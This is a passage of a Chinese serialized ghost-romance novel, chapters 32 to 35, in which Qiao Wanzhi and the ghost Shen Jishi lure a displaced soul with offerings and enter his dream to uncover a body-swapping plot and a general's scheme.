他说完,转而对一旁的桥妧枝道:“前不久听闻女郎在城外遇到了流寇,渊一直惴惴不安,如今见女郎无事,心下稍安。” 周遭一静,众人看向张渊的目光中带了些许探究。 一个寒门出身的举人,这般有才华前途无量,又与相国千金好似很熟稔,这样的桥段,众人皆在书局中的话本中见过。 至于话本中的内容,那便是老生常谈的桥段了。 桥大人脸色一冷,正要出言呵斥,却听身后少女出声道:“张郎君,多日不见。” — 沈寄时在连廊里立了一整日,从晨曦大亮等到华灯初上,如今余晖尚存,依旧没有等到桥妧枝回来。 他不知她去了何处,也不知她为何不与他说一声便离开,这一日,他想得最多的还是自己是否在不知不觉间将人得罪了。 仔细想来,若是能称得上令她生气的事,应当就是那一碗梅子酪了。 沈寄时抿唇,她昨日轻而易举地将事情揭过,今日却将他一人抛在这里……当真是,过分。 已经许久没有这样心神动荡,沈寄时一动不动,身上的煞气却越发浓郁。 月亮马上就要出来,理智告诉他,他应当回阁楼去,可理智是理智,他依旧站在原地一动都不肯动。 连廊前的灯笼随风摇晃,桥府的丫鬟们匆匆而过,低声说起这几日府中的事。 “夫人这几日一直在为女郎的亲事发愁,已经几日都睡不好觉。” “女郎应当还不想定亲,毕竟沈将军才……” “可是女郎总归是要嫁人,兴许遇到新的人,就能将之前的事情放下。” 她们越走越远,声音也就越来越小,沈寄时却觉得自己心更疼了。 “沈郎君?” 少女声音在他身后响起,带着丝丝惊讶,“你怎么会在这里?” 沈寄时没有回头,煞气源源不断从身上溢出。 “月亮都快要出来了,沈郎君,你为何不去阁楼?” 少女声音焦急,快步绕到他身前,细眉轻蹙,“再不回去,月亮照到郎君身上,只会更痛。” 沈寄时看了她许久,周身煞气才渐渐消退,哑声道:“我醒来未见女郎,等了许久不见回来,女郎今日去了何处?” 桥妧枝长睫微颤,拉住他的袖口往阁楼走,抿唇道:“随我爹爹出门盘点商铺,去了长宁坊的衣服铺。” 他们之间的距离很近,沈寄时敏锐地察觉到她身上还有旁人的气息,应当是个很年轻的郎君,但是她刚刚并没有提到这个人。 那人是谁,与她又是什么关系,是她要认识的新人吗? 藏在袖下的手微微攥紧,沈寄时偏头看她,状似无意地问:“女郎今日出门高兴吗?” “盘点商铺有什么高兴的。” 桥妧枝缓缓踏上木梯,将阁楼门打开,余光看到小窗前的竹帘敞开,忍不住道:“这个不要随便开,月光会透进来。” 她走上前将竹帘放下,又将上面的绳子挂在窗台下固定,却没有立即回身,而是状似无意地问起:“郎君生前,家中可有定过亲事?” “未曾定过。” 桥妧枝指尖抖得更厉害了,她深吸一口气,道:“昨天夜里,我曾来过阁楼。” 沈寄时眸光一沉,看着少女瘦弱的背影,久久没有出声。 “我听到郎君,似在叫卿卿,既然郎君未曾定过亲,为何会……” 沈寄时打断她,“虽未曾定过亲,却有喜欢的女子,昨晚梦到了她,这才忍不住唤了一声卿卿。” 桥妧枝哦了一声,转身看他,“那沈郎君喜欢的女子,是什么样的人?” 沈寄时错开目光,“女郎,这已经是很久之前的事情了。” 他这是委婉地拒绝,桥妧枝并非听不出,于是敛眸,好似专门说给他听一般,低声道:“昨日听到郎君口中卿卿二字,我险些以为是沈寄时回来了。” 沈寄时张了张唇,可却什么都说不出来。 是在唤她的,可是,一定不能被她知晓。 无人出声,窄小的阁楼里格外安静。 不知过了多久,少女想起什么,掀动竹帘,看到外面乌黑的天空,欣喜道:“沈郎君,今日无月,我们应当可以去捕雀了。” 沈寄时这才注意到,外面天色已经全部黑下来,他肩头却未曾落下雪花。 明明白日阳光正好,夜间却乌云密布,老天爷的心思果然难猜。 “东西都已经准备好了,我还拿来了张渊的八字。” 桥妧枝想到什么,提着裙子咚咚下了阁楼。 沈寄时跟在她身后,就见她将几个有些陈旧的符纸塞进荷包,挂在自己腰间的流苏上。 刚挂好,她想到什么,问:“沈郎君,你害怕这些符纸吗?” 她捏住软软的荷包,打算若是他也害怕,就将荷包摘了。那些鬼都很怕他,有他在,应当也不会出什么事。 沈寄时:“不怕,女郎带着就好。” 桥妧枝松了口气,对他眨了眨眸,扯住他衣袖边走边道:“郎君,我们快些去吧。” 她似乎有哪里不一样了,可他却说不上来。 沈寄时看着少女青葱手指抓着自己衣袖,无声扯了扯唇角。 — 生魂张渊还是没有寻到吃的,长达十余年的民不聊生,孤魂野鬼太多了,即便是长安京都,孤魂野鬼也不在少数,而他打不过那些凶神恶煞的野鬼。 他游荡在长街,更加怨恨上天了,他不明白,自己一生从未做过什么恶事,为何会落得现在这个下场。 上苍明明给了他读书的能力,却让他平平无奇。在他村庄中,他是最有才学的张家小郎君,可一旦出了他的村庄,他便泯然于众人。 再也没有比这个更残忍的事情了,他本以为自己是自己是天之骄子,可最终却不过是芸芸众生中最平庸的一个。就连成为鬼,这具还是人时就只会读书的庸人,做了鬼竟连香火都争抢不到。 可笑!真是可笑! 他走了很久,看到一个睡在角落里的乞儿,发丝凌乱,满身污垢,人不人鬼不鬼,窝囊透了。 以前他最厌恶这种废物,可这一次,却鬼使神差地躺在那名乞丐的身边。 腥臊气扑面而来,张渊几欲作呕,可恰在此时,一股香火气从远处传到他鼻尖。 张渊一怔,踉跄起身,下意识冲着那股味道的方向走去,只是刚走了两步,他头脑渐渐清醒了几分。 这是有人再给他烧纸,他的身体还活着,又有谁会给他烧纸? 脚步微顿,不愿再往前。可那股香气却越来越浓,他已经很久很久没有吃过东西了,如今饥肠辘辘。 兴许是程林…… 他告诉自己,一定是程林,能在这个时候为张渊上祭的人,除了占了他身体的程林,再也不会有别人了。 他这样告诉自己,神色不由得一松,最终还是挪动脚步,向香气的方向走去。 【作者有话说】 今晚十二点还有一章 32 第32章 ◎柔软的唇瓣贴在掌心◎ 凶肆后院,巨大的铜盆中燃烧着熊熊大火。 火光冲天,未烧尽冥钱随风从铜盆里飞出,犹如天女散花一般飘得到处都是。 桥妧枝被烟雾呛得咳嗽出声,又怕自己的声音打草惊蛇,只能捂住嘴巴,强忍着闷声咳了好几下,将自己眼眶憋得通红。 沈寄时看得心疼,手指微动,将烟雾换了个方向。 那呛人的气味儿总算淡了些,沈寄时与她相距很近,嗅到她身上属于陌生男子的气息还未散尽。 他双眸微眯,不动声色距离她更近一些,直到他身上的香火气渐渐掩盖住那股陌生味道,方才舒展眉头。 桥妧枝并未察觉到他的小动作,只目不转睛盯着院中央,张渊的生辰八字就在正前方,奠品已经燃烧过半,可那个生魂却还是没有出现。 少女有些着急,扯了扯沈寄时的衣袖,垫脚在他耳畔窃窃私语,“沈郎君,他为何还不过来,难不成这个方法没用吗?” 温热的呼吸喷洒在耳畔,带起一阵痒意,沈寄时眸光微动,有些走神。 见他不说话,桥妧枝以为是自己声音太小他没有听到,正要提高声音,却被一只手飞快捂住了嘴唇。 还未说出口的话重新吞回去,桥妧枝睁大眸子。 柔软的唇瓣贴在掌心,沈寄时动作一顿,神色有些不自然,压低声音道:“女郎不要太大声,会打草惊蛇。” 少女眨了眨眸子,纤长的睫毛扫过他手指关节,引起一阵酥麻。 沈寄时沉默片刻,出声安抚:“女郎放心,若是旁人,在明知是陷阱的可能下兴许不会过来,但是张渊不会,他一定会来。” 说完,手指才慢悠悠离开少女脸庞。 桥妧枝睫毛飞快抖动了几下,嗡声问:“为什么他一定会来?” 沈寄时目光落在庭院中央,低声解释,“虽然只有几面,可张渊此人,应当是个极为懦弱之人。无论是否自愿,他身体被旁人占去,却只知道等死,可见此人并非意志坚定之人。这样的人这么久没有食到香火,即便知道可能是陷阱,也一定会铤而走险。” 话音刚落,庭院中突然有了动静。 沈寄时目光微顿,低笑一声,道:“女郎,看来我说的没错,他来了。” 桥妧枝连忙转头,果然看到庭院中多出了一道雾气缠绕的黑影。 那黑雾应但是饿极了,直接扑到那些祭品前,狼吞虎咽地吞噬起来。 桥妧枝准备的祭品很多,等他吃完时,炉子里长长的三柱香已经烧到尽头,是时候收网了。 “郎君今日可吃饱了?” 清越的声音在身后响起,悦耳动听。 张渊瘫坐在地上,满足地点了点头,紧接着意识到什么,猛地转身对上了立在他身后的一人一鬼。 还是老熟人…… 张渊立即抖如糠筛,挣扎着想要起身逃跑,却被一只手按住肩膀,强行压了回去。 沈寄时眸光凌厉,冷声道:“还想跑?” 他身上煞气太重,桥妧枝看不出来,可是张渊却看得分明。 “郎君,你放了我吧,我再也不敢贪吃了。”他说着就要磕头,却被沈寄时按住脊背压了下去。 肩膀之上仿佛有千斤重,张渊脑袋伏在地方,丝毫没有挣扎,温顺的犹如绵羊。 沈寄时拧眉,实在拿这个软骨头没办法,起身松开他脖颈。 威压尚在,张渊双腿发软,不敢抬头,只后悔今日不该冲动来吃香火。 桥妧枝看不到他的脸,只好对着最前面的那类似于头的黑雾问:“张郎君,我有几个问题要问你。” 张渊瑟瑟发抖,没有出声。 桥妧枝问:“第一个问题,你被夺舍,是自愿还是被强行夺走身体?在你身体里的那个人,又是谁?” 那团黑雾沉默了许久,这才低低道:“身体是我自愿给的,至于那人是谁,女郎还是不要问了,我是不会说的。” 桥妧枝皱眉,好脾气地问:“你不愿意说也没关系,如果我没猜错的话……如今在你身体里的那个人是前朝文人程林,是也不是?” 张渊脸色一变,猛地抬头,眼中满是不可置信。 沈寄时见此,对她点了点头,桥妧枝便明白了几分。 她抿唇,又问:“我与你素不相识,几个月前,你为何假扮沈寄时骗我?又是不是曾在哪里见过他?” 等了好久,那团黑雾动了动,颤声道:“张渊并非有意欺骗女郎,没人给我供奉,我只是想去骗些香火吃。并不曾见过长宁侯,生前死后,都未曾见过。” 桥妧枝眸中划过一丝失望,深吸一口气,道:“你既然不认识他也不曾见过他,那个剑穗又是从哪里来的?” “捡的。” “捡的?” 桥妧枝不信,眼眶都气红了,“还要骗人,你是在哪里捡的?” “浮屠峪。” 黑雾回答:“我本是冀州人,几个月前来长安参加明年春闱,路经浮屠峪时,碰到了阴兵借路,慌忙逃窜间,在一顿白骨中捡到了这条青色剑穗。” 他声音沙哑,语气带了丝惧意,“浮屠峪中满是枯骨,我捡到这条剑穗的时候,血迹早就已经渗透到随便一块石头里。” 桥妧枝闻言鼻尖一酸,却依旧不信,“若是捡的,你怎么会知道这是沈寄时的东西,又怎么会知道他唤我卿卿,怎么知道我因一时赌气与他退婚。张渊,你还不肯说,这剑穗到底是从何处得来的?” “当真是捡的,女郎,当真是捡的!” 他情绪突然变得激动,不停磕头,“若是不信,女郎便杀了我吧。” 桥妧枝看不到他的人影,却能听到他磕头的咚咚声,下意识后退两步。 沈寄时挡在她身前,冷声道:“谁要你的贱命一条,说还是不说?” 他威压太重,张渊缓缓抬头,干裂的唇抖动不停,最终两眼一翻,晕了过去。 沈寄时:“……” 许久没有听到动静,桥妧枝探出头来,看到那团黑雾一动不动,问道:“沈郎君,他怎么了?” “应当是惊吓过度,晕了。” 桥妧枝猛地睁大眸子,几乎要以为自己听错了,“晕了!他胆子竟这么小?” 沈寄时嘲讽:“宵小鼠辈。” “沈郎君,那我们现在该如何是好?” 院中的树叶沙沙作响,她五官皱成了一团,语气异常低落。 折腾了一晚上,好像什么有用的信息都没有问出来。 沈寄时偏头看她,低声道:“想要知道真相,还有一个办法。” “什么办法?” “入梦……” 沈寄时看着昏迷不醒的张渊,轻声道:“人有梦,鬼亦有梦,他是生魂,入他梦与入生者梦无异。” 沈寄时抬手,唇角微勾,“女郎可愿随我一同入梦?” 桥妧枝一怔,看着他那张陌生的脸,下意识点了点头。 — “今日收成不好,麦子比去年少一半,赋税却比去年还要高。” 满面沧桑的农妇抱着一缸水踏过门槛,长吁短叹:“再这么下去,真不知道今年该如何活。” 坐在屋里的男人沉声道:“朝廷不是拨了赈灾粮,等粮食发下来,撑一撑,怎么也能将今年支撑下去。” 农妇将水倒进大缸中,突然开始抽泣,“你当真以为朝廷的赈灾粮能落到我们手上?冀州这些官员什么样你又不是不知道,听说半年前就已经拨款了,可是这都过去这么久了,你可看到一丁点影子?” 男人心烦,一拍桌子,“那还能咋办,二郎今年的学费也要交,难不成不让他上学堂了?” “不行,二郎会读书,若是以后能够高中,说不定我们也就解脱了。”妇人抽噎不止,过了很久才道:“没办法了,明日,我去将三丫卖了吧。” “卖去哪里?” “今日村里来了个人牙子,将三丫卖了,卖去哪里咱们不知道,也管不着。” 正在对窗读书的张渊猛地起身,跌跌撞撞开门,一眼就看到了妇人怀中表情懵懂地女童。 他哑声道:“娘……我不读书了……” “你这又在说什么胡话!”妇人训斥他,“二郎,你读书好,以后若是能够高中做官,爹娘就不用受苦了。” 张渊神情恍惚,声音嘶哑:“那三丫咋办?” “三丫自然有三丫的福气,二郎,你一定要好好读书,阿爹阿娘就靠你了。” 妇人声音不断徘徊,响彻在整个梦境中。 桥妧枝于心不忍,下意识想要出声阻止,身侧的郎君却道:“女郎,我们只是在梦中,他们听不到你我说话,我们也无法改变已经发生的事。” 桥妧枝一僵,缓缓垂下头,“此时的张渊看起来年纪不大,沈郎君,如今是什么时候?” “承平二十年,春尽头。” 承平二十年春,长安繁华到极点,可在遥远的冀州却已是民不聊生。 或许,早在很久以前东胡之乱就已经暗暗埋下伏笔,只是长安众人却丝毫没有察觉到。 妇人用卖女儿的银钱拿去给张渊读书,余下了几钱,填充了米缸,一家人便是还能再吃一段时间。 张渊读书越发刻苦起来,邻里邻外都将这一切看在眼中。众人都知道,这是他们村最会读书的人,来日是要参加科举做官的。 书桌前的窗户愈发破旧,窗外那棵梨树开了又败,年年复年年,转眼就到了承平二十九年六月。 桥妧枝看着破旧墙面上悬挂的黄历,久久移不开目光。 “沈郎君,这是承平二十九年,我能离开这里去别的地方看看吗?” “女郎,我们是在张渊的梦中,去不到他梦以外的地方。” 桥妧枝恍恍抬头,“我竟忘了。” “二郎!二郎!”邻居大娘的声音在门前响起,欣喜道:“今日是乡试放榜日,你快去县中看榜,我们这里穷乡僻壤,说不定马上就要出一个举人了!” 张渊连忙开门,擦了擦额头上的汗珠,气喘吁吁道:“已经在收拾行囊,这就出发,最快的话明日就能赶回来。” 大娘诧异,“你要走着去?” 张渊腼腆一笑,“路途不远,来回也花不了多少时间。” “这怎么行?”大娘从袖中摸出一个铜板塞进他手中,笑吟吟道:“还是坐驴车去,快得话今日傍晚便能回来。” “这……” “别墨迹了,咱们一个村的人可都盼望着你中举呢,若是以后当了官,咱们这穷乡僻壤也有人照顾,省得一直被人欺负。” 张渊咬牙,将铜板收下,目光炯炯,“大娘你放心,我定会中举,来年参加春闱,谋得一官半职,成为你们的靠山。” 大娘瞬间眉开眼笑,招呼他快去快回。 张渊没有磨蹭,回屋背上竹篓,小跑着去请村口的驴车将他送到县里。 “他这般兴冲冲的模样,应当是对自己很有信心。” 桥妧枝想到张渊那个同乡所言,抿唇道:“他可能也没有想到,自己的名字竟写在末尾。” “他本以为自己是天之骄子,可这次乡试却给了他重重一击。” 沈寄时收回目光,嘲讽道:“他这样的名次,想要在春闱中拿到一官半职,简直是痴心妄想。” 他爹娘为了供他读书卖了他的妹妹,邻里觉得他以后定会做官对他多有照顾,在过去的那些年里,他踩着妹妹的血肉,一人享了所有人的恩惠。 桥妧枝摸上身侧人衣袖,拉着他追了上去。 驴车走得很慢,清晨出发,到县里时已经是晌午。 张渊大汗淋漓地从驴车上下来,隔着很远便看到贡院外围了里三层外三层的人。 有人放声大笑,有人长吁短叹,世间百态都在这一墙前上演。 张渊拼命挤进人群中,一路跌跌撞撞,等挤到最前面时已经是满头大汗。他来不及擦汗,连忙从第一名字开始找起。 第一名不是他,张渊便向下看去,一直看到第十名,还是没有他的名字。 汗珠顺着眉骨滑进眼中,蜇得他有些张不开眼,只能一边揉眼一边向下看。 二十名,依旧没有他的名字。 额头上的汗越来越多,张渊神情恍惚,麻木地向下看去,二十五名、三十名、三十五名……直到他看到第三十九名时,终于在上面看到了自己的名字——张渊。 今年乡试四十个名额,他竟排在第三十九名…… 三十九名,即便是乡试的前十去参加春闱都不一定能捞到一官半职,他这个第三十九名,更无希望。举人的身份,于旁人而言兴许会欣喜若狂,可若无一官半职,他又如何面对村中父老乡亲…… 张渊神情恍惚,魂不守舍上了回去的驴车。 【作者有话说】 修改了一个时间点。 本文架空,与历史上科举考试时间略有出入 33 第33章 ◎“沈郎君,我知晓了。”【大修】◎ “二郎!二郎!” 邻家大娘立在村口,见他从驴车上爬下来,兴奋道:“我们的举人回来了!” 周遭人乌泱泱围上来,七嘴八舌说起乡试放榜之试。 “二郎看了榜,有没有中举啊?” “瞧你说得,二郎还能不中举?说不定还能中个……那叫什么来?” “解元!读书人说,第一名都叫做解元!” “对对对,是解元,二郎从小就会读书,必定是第一名,听说中了解元就能做官呢!” 张渊听着这些话,只觉得头脑愈发昏沉。他缓缓从驴车上爬下,脸色苍白,一言未发。 周遭的声音渐渐小了,乡亲们互相对视几眼,都没敢再出声。 张家阿娘急了,上前一把扯过张渊的袖子,“二郎,到底有没有中举,你说话啊!” 无数目光落在他身上,张渊如同芒刺在背,“中了!” 气氛骤然一松,邻家大娘猛地松了口气,上前拍了张渊一把,乐呵呵道:“原来二郎是太高兴了,中了第几你快说啊!” “第一,中了解元!” 众人惊呼,纷纷簇拥着将他迎进去。 桥妧枝看着这一幕,怎么都没想到他竟会撒下弥天大谎。 “他就不怕被人拆穿?” 沈寄时收回目光,语气嘲讽:“这里闭塞,许多人一辈子都不会出一亩三分地,即便是出了,也轻易听不到有关乡试的消息。” 话音刚落,梦境便倏然由白天转到黑夜,刚刚还在说笑的村民转瞬间便消失不见了。 张家破旧的草屋未点灯,偶有窃窃私语从房内传出又被院中蝉鸣声覆盖。 张渊立在书案前,温热的夜风将他吹出一身汗,他依旧一动不动。 二十年的期望被打破,他终于认清现实,原来他并非天纵奇才,相较于天下莘莘学子,他可以称得上平庸。 他在窗前立了半宿,直到月上中天,终于转身走出屋子。 站在爹娘房外,他道:“爹,娘,儿子准备明日起程,去长安参加春闱。 参加春闱,至少能将谎言掩盖得更久一些。 张家米缸见了底,凑不出进京赶考的钱,村中邻里凑了三十两银子让他进京赶考,没别的原因,只因为听说若是能成为贡生,做的官就会更大。官大了,自然能更好地庇护他们,不至于再被乡绅欺凌。 张渊就这么拿着三十两银,从冀州出发,一路向西。只是他运气不好,途经太行山浮屠峪,遇到了阴兵借路,好在被一个道士救下,得以平安赶路。 离开浮屠峪时,他在路边拾到了一只青色剑穗,与剑穗放在一起的,是一块刻着“周”字的玉佩。 沈寄时看着那枚玉佩,眸光微沉。 那是周季然的玉佩,是他十六岁那年,阿娘送给他的生辰礼,为何会出现在那里? 冀州距长安千里,张渊踽踽独行,行至龙城脚下时,正值深夜,城门关闭。 他立在城门外,就着月光看着长安城巍巍高城,看那些立在城墙上的威严守将,心想,原来这就是书本上的长安。 他仰头看了很久很久,久到守城的将士注意到他,上前驱赶。 长夜难熬,身上的银两已经所剩无几,狼狈的书生便寻了一间破庙休息。 他在庙中生了一把火,将怀中已经凉透的烧饼架在火上烤,却不想饼还未烤完,庙外又响起一阵急促的脚步声。 “郎君,今夜进不去长安城,客栈还要走很远,我们暂且歇息在这里吧!” 背着书篓的小厮小跑进来,用衣袖将破庙内断了的柱子擦干净,又扶着一个锦衣郎君坐下,这才注意到缩在角落里的张渊。 锦衣郎君给书童递了个眼色,拱手上前,笑道:“这位兄台不知是哪里人,看你模样,也是参加春闱的举人?” 张渊面上闪过局促,“我是冀州人士,名唤张渊,前来参加春闱。” 锦衣郎君笑意淡了些,沉吟片刻,皱眉问:“冀州人士?我也是冀州人,怎么未曾听过这个名字。” 张渊擦了擦额头汗珠,有些尴尬,周遭忽起一股烧焦味儿,张渊一惊,慌忙从火上拿起有些烤糊的烧饼。再抬头,之前与他搭话那人却已经坐在了离他很远的地方。 之前的热络已经消失不见,那人已经接过书童随身携带的软饼吃了起来。 捧在手中的烧饼还在发烫,张渊低下头,囫囵吞下滚烫的饼,表情渐渐放空。 破庙里尘土飞扬,躺在单薄的茅草席上,翻来覆去许久才睡着。后半夜,张渊从梦中惊醒,突然觉得滚烫的烧饼在胃部翻滚,疼得他额头冷汗直流。 他没什么力气,想要求救,可转念一想,若是真死了,也就解脱了。 天快亮时,书童起身,抬脚迈过张渊时脚一滑,踩到了他身上,见他没有反应,这才发现他脸色苍白,已是气若游丝。 “公子,这位郎君好像病了!” 锦衣郎君蹙眉,不耐烦道:“管他做什么,城门快开了,还不赶紧走!” 张渊隐约听到了他们的声音,张了张嘴,却没有出声。 庙中寂静,偶有虫鼠在他身上攀爬,他却始终一动不动。 “你快要死了。” 低声的声音突然在耳边响起,“你会读书,却并不聪明,也无天赋,即便是考十年二十年三十年,也不过是落得个名落孙山的下场。” 张渊眼皮动了动,依旧是一滩毫无波澜的死水。 “你自小受尽家中邻里恩惠,你的爹娘为你整日辛劳,你的胞妹因你被卖掉,就连你来长安的三十两银子都是你的那些乡亲一点一点凑来的。” “你明知道自己无法高中,却害怕吃苦,还是收下了那些银子,如今被人看低,又自暴自弃妄图用死来掩盖谎言。” “你当真是一个懦弱卑劣又自私的人啊。” 说话者毫不留情戳穿他所有的伪装。 张渊张了张干裂的唇,沙哑道:“至今思项羽,不肯过江东。” “你也配与西楚霸王相提并论?” 那人冷笑,“你不过是个无才无能,满口谎言的小人,即便死了,尸身被蛇虫鼠蚁啃食,旁人见了也只会唏嘘一声,说死得好。你的爹娘乡亲还是会被乡绅欺压,到了那个时候,他们应当更恨你怎么没有一出生就死了!” “你想死,不如将身体交给我,我替你参加科举,我替你平步青云,护你家乡安宁。” 张渊眸光涣散,“你是谁?” “程林。”那人道:“屡试不第,却青史留名的程林。” 桥妧枝跺脚愤愤道:“果然是他!死了一百年的人,竟还能祸害人间。” 沈寄时:“他生前才华被埋没,死得又那般潦草,执念太深。” 说话间,躺在地上的张渊已经缓缓起身,背起竹篓向外走去。 转眼之间,身躯里的那道魂魄,已经换成程林了。 张渊刚刚成为鬼魂时还很不习惯,旁人见不到他,山野间的孤魂野鬼也不愿与他为伍,久而久之,他便越发沉默寡言起来,最开始他不是没有后悔过,后悔为何轻易放弃自己的身体,可后来知晓张渊这个名字已经响彻长安风光无两,便又觉得这真是再好不过,也就谈不上什么后悔了。 也是因此,他一直未曾去寻过自己的肉身,直到有一日,他突然感受到了饥饿。那饥饿感来势汹汹,轻而易举便将他吞噬,他后知后觉意识到,原来生魂也需要食用香火。 程林没有给他烧,旁人都以为“张渊”还活着,更不会为他供奉。于是那天夜里,他来到肉身所在的小院,却见“自己”乘月而出,沿着小巷一直往前走,最后停在一座气派的府邸前。 他看到“张渊”拱手,掏出一枚玉佩,上面的周字在月光下煜煜生辉,他不卑不亢道:“在下张渊,求见周将军。” 他看到“自己”被接进书房,一盏幽灯下,周将军握着那枚玉佩,面无表情问:“你是那个写下长安赋的张渊?” 摄人的目光落在“张渊”身上,冷面将军扯了扯唇角,“你想要什么?” “在下于长安无依无靠,只是想与将军交个朋友。” 周将军嗤笑一声,一语道破:“出身寒门的举人,想要攀附权贵,让我成为你的靠山?” “张渊”脸色一白,却没有否认。 “长安举人数不胜数,你很聪明,只可惜找错了人。” 周季然轻蔑一笑,指尖在刀柄上轻轻摩挲,“桥丞相有个女儿,正是望门寡,你若能攀附上她,他日洞房花烛夜金榜题名时,仕途必定青云直上。” “张渊”一怔,猛地跪下,“将军助我。” 周季然指尖摸到了刀柄上的沈字,眼底一片晦暗。 他与“张渊”说起了沈寄时,又或者说,他在说沈寄时的故事,说他短短二十年的人生,说他与桥家那位女郎多年的矛盾与争执。 桥妧枝静静听着有关她与沈寄时的那些事,惊觉这十余年似乎走得太快了些。她从未想过,自己与沈寄时竟经历了那么多。 书房中私语不断,梦境却已经走到了尾声。 沈寄时缓缓收回目光,看她发怔,低声道:“梦快结束了,女郎,我们走吧。” — 鬼魅掌心冰凉,可桥妧枝与他相贴,掌心却出了一层细密的汗。 她缓缓睁眼,仿佛还沉浸在梦境中,久久回不过神来。 此地还是凶肆后院,躺在地上的生魂还没有醒。 沈寄时缓缓松开她温热的指尖,离开时,低声道:“女郎,天快亮了,我们该回去了。” 桥妧枝缓缓转头,眼尾一片殷红,声音嘶哑道“他知晓我与沈寄时的事情,是因为偷听到周季然与程林说话,所以妄图假装沈寄时骗些香火。” “是……” “他并不认识沈寄时,也未曾见过沈寄时,所了解的一切,都只是因为周季然讲的那些故事。” “是。” “所以,我也并未感受错,这些日子程林都在故意模仿沈寄时接近我,实际上是想要我做他青云梯,是也不是?” 沈寄时声音嘶哑,“是。” 东方既白,桥妧枝缓缓站起,迎风而立,对他道:“沈郎君,我知晓了。” 34 第34章 ◎她与沈寄时其实并不相配◎ 桥妧枝第一次知道入梦也是很耗费体力的一件事,一夜未睡,她意识昏沉,断断续续从天光初亮睡到日落西山。 从旁人的角度去窥探属于自己的过往,记忆便带着几分朦胧。 周季然说给程林那些有关她与沈寄时的事,大多都被埋在记忆中,一直到今日破土而出。 早在很久以前,阿娘曾说,她与沈寄时其实并不相配。 阿娘说:“沈危止这个人,注定无法安稳,你若是与他成婚,以后想必日日担惊受怕。” 她一开始不信,沈寄时虽然有时混不吝还总是会气人,可却一片赤子之心,以后等天下太平,总会好的。 可后来时间久了,她便有些信了,兴许她与沈寄时,确实很不般配。 她依稀记得,那是承平二十六年的冬日…… 彼时长安百废待兴,桥妧枝已经数月未曾见到沈寄时。 白日里,她尽可能随阿娘安置战乱中受伤的百姓,一入夜又翻来覆去睡不着,即便是睡着了也总会被噩梦惊醒。 重回故土的路上并不顺遂,一路上都是战乱鲜血,她在梦中奔逃,最后总会撞进一人怀里,每每抬头,都是裴将军那张带着鲜血的脸。 “脉脉,你要劝劝阿时。” 这句话裴将军在梦中说了无数遍,可自长安一战后,她便再也没有见过沈寄时。 大梁正逢战乱,他统率数万兵马,东奔西走,若是他不来寻她,她大抵是找不到他的。 冬至那日,长安飘雪,阿娘与另外几位官夫人将每日的粥换成饺子分给无家可归的百姓吃,她前去帮忙,忙得不可开交之际,忽有急促马蹄响在长街。 来人停留在粥棚前,翻身下马,急声道:“桥姑娘!沈寄时和周季然都疯了,你快去劝劝他吧!” 她抬头,看到十二皇子身穿甲胄,张嘴说话时白气从他口中哈出,令他面容都有些看不清。 她将盛饺子的汤勺递给郁荷,仰头轻声道:“你说沈寄时,怎么了?” 十二皇子来接她时带了一匹较为温顺的马,她骑上去握紧缰绳,挥鞭往城外走。 她走得太匆忙,仅披了一件红色斗篷,寒风吹在她脸上,刮得脸颊生疼。 等赶到营地时,露在外面的头发结了一层薄冰,握着缰绳的手冻得几乎没什么知觉。 演武场外围着一大群士兵,她跟在李御身后走到最前面,一眼就看到上面挥舞长枪的少年。 他脸上破了一道口子,正缓缓往下淌血,可却好似无知觉一般,出招凌厉,带了无穷杀意,挥枪向周季然刺去。 十二皇子神色紧绷,沉声道:“自裴将军死后,他们便有些不对劲起来。今日他们二人因为兵马调动一事起了争执,一直打到现在,越打越凶,谁都劝不住。” 话音刚落,刀枪相抵,发出刺耳嗡鸣,周季然后退几步,突然冷笑道:“沈寄时,你凭什么这么狂妄!难道你忘了,裴将军也是因你而死!如果不是为你挡箭,她根本就不会死!” 不!不是的! 她摇头,爹爹曾说过当时的场景,不是沈寄时的错,不是他的错! 他或许冲动或许狂妄,可是长安一战,他于行军之上未曾行差踏错一步。 战场本就瞬息万变,那支暗箭出来的太突然…… 周季然的话令少年浑身一僵,他仿佛被触怒了的狮子,声音嘶哑吼道:“周季然,我今日必杀你!” 手腕反转,长枪擦过刀锋,直直向周季然捅去,众人脸色皆是一变。 “沈寄时!不要!” 熟悉的声音冲破云霄,沈寄时动作一顿,枪尖猛地一歪,顺着周季然右脸划过,一瞬间,鲜血飞溅而出。 少年双目猩红,猛地转身,冲她吼道:“谁让你来的!” 桥妧枝一怔,下意识后退两步。 她从未见过这样的沈寄时,从未在他脸上见过这样骇人的表情,偏执、暴戾,说不害怕是假的。 雪落无声,沈寄时看着她,身上戾气渐渐消退,突然跳下演武场一把将人抱进怀里,声音颤抖:“桥脉脉,你别害怕,我刚刚不是对你发脾气。” 桥妧枝没有动,任凭他抱着,却第一次觉得这个怀抱有些陌生。 演武场人太多,他不由分说将她抱上马背,无视众人将她带出了营地。 营地之外遍地霜草,沈寄时眉头落了轻雪,哑声道:“这里不安全,我叫人送你回去。” “可我还有很多事想同你说。” 周遭一静,少年闭了闭眸子,手背青筋暴起,道:“你先回去,有什么话以后再说。等我把城外剩余的东胡人处理干净,就回去找你。” 他在努力平复自己的情绪,努力避开她,努力不让自己吓到她。 少女张了张唇,眼眶微微发热。 她敏锐地察觉到,他变了,变得偏执、凶悍、沉默,这些种种,都让她陌生又难过。 他再也没有阿娘了。 她要对他说的那些话最终还是没有说出口。 沈寄时回长安的时间越发少,行事也越来越偏执,为了报仇,他已经将生死置之度外。 偶有几次她行在长安街头,会看到他气势汹汹纵马出城,不用猜也知道,他会如何带一身伤回来。 骏马飞驰,她不知道他有没有看到她,可她看着马蹄后飞扬的尘土,会莫名想到阿娘曾说,她与沈寄时其实并不般配。 — 桥妧枝醒来时,月亮刚刚挂上树梢,稀薄的月光照在庭院,映出浅淡光影。 她推开阁楼门,看到了一个周身被冰雪覆盖的雪人。 周遭冷得仿佛入了严冬,她为自己披上氅衣,上前为他拍落肩膀上的霜雪。 他今日并未再呓语什么,桥妧枝在他身边立了好一会儿,轻声问:“你是沈寄时吗?” 被问话之人双眸紧闭,并未出声。 她等了许久,自言自语道:“你最好不是沈寄时,不然我不会原谅你,我说到做到。” 她顿了顿,缓缓敛眸,“最好不要是沈寄时……” “一定不要是沈寄时。” 【作者有话说】 小桥:退婚不是一时冲动,是我发现我们好像不合适! 沈寄时:我们简直太合适了,都是异地恋惹的祸! 小桥:…… 35 第35章 ◎乱花飞过秋千去◎ 沈寄时醒来时,正前方的小窗半开,徐徐清风顺着窗户涌进,掀起桌案前干净的宣纸。 此间还留有一抹淡香,他行至庭院中,却见偌大的庭院中又只剩下他自己。 